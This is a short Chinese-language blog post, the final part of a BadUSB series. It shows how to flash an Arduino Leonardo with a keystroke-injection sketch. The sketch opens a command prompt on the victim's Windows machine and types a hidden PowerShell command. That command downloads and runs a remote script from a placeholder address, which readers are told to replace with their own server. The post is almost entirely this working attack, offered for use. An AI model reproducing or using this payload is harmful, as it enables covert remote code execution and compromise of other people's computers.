1. 首页
  2. 技术

谁搞谁怀孕系列之BadUSB原理分析与烧写[三]

忙了一段,终于在今天抽出一点时间写下BadUSB终章。

将硬件插入Usb接口并输入Windows +R 输入命令devmgmt.msc打开设备管理器
查看串口信息

2019082414324154

打开Arduino IDE并根据以下路径  工具->版->选择“Arduino Leonardo”

2019082414330181

port选择串口信息相符的

void setup(){
Keyboard.begin();
delay(5000);
Keyboard.press(KEY_LEFT_GUI);
delay(500);
Keyboard.press(‘r’);
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release(‘r’);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println(“CMD”);
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(3000);
Keyboard.println(“powershell -windowstyle hidden IEX (New-Object Net.WebClient).DownloadString(‘http://xx.xxx.xx/main.ps1’) “);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();
}
void loop() {}

将改代码烧写入硬件

xx.xxx.xx修改为自己的地址

然后就没了…

原创文章,作者:Lzers.,如若转载,请注明出处:http://www.qisafe.net/?p=309

发表评论

电子邮件地址不会被公开。 必填项已用*标注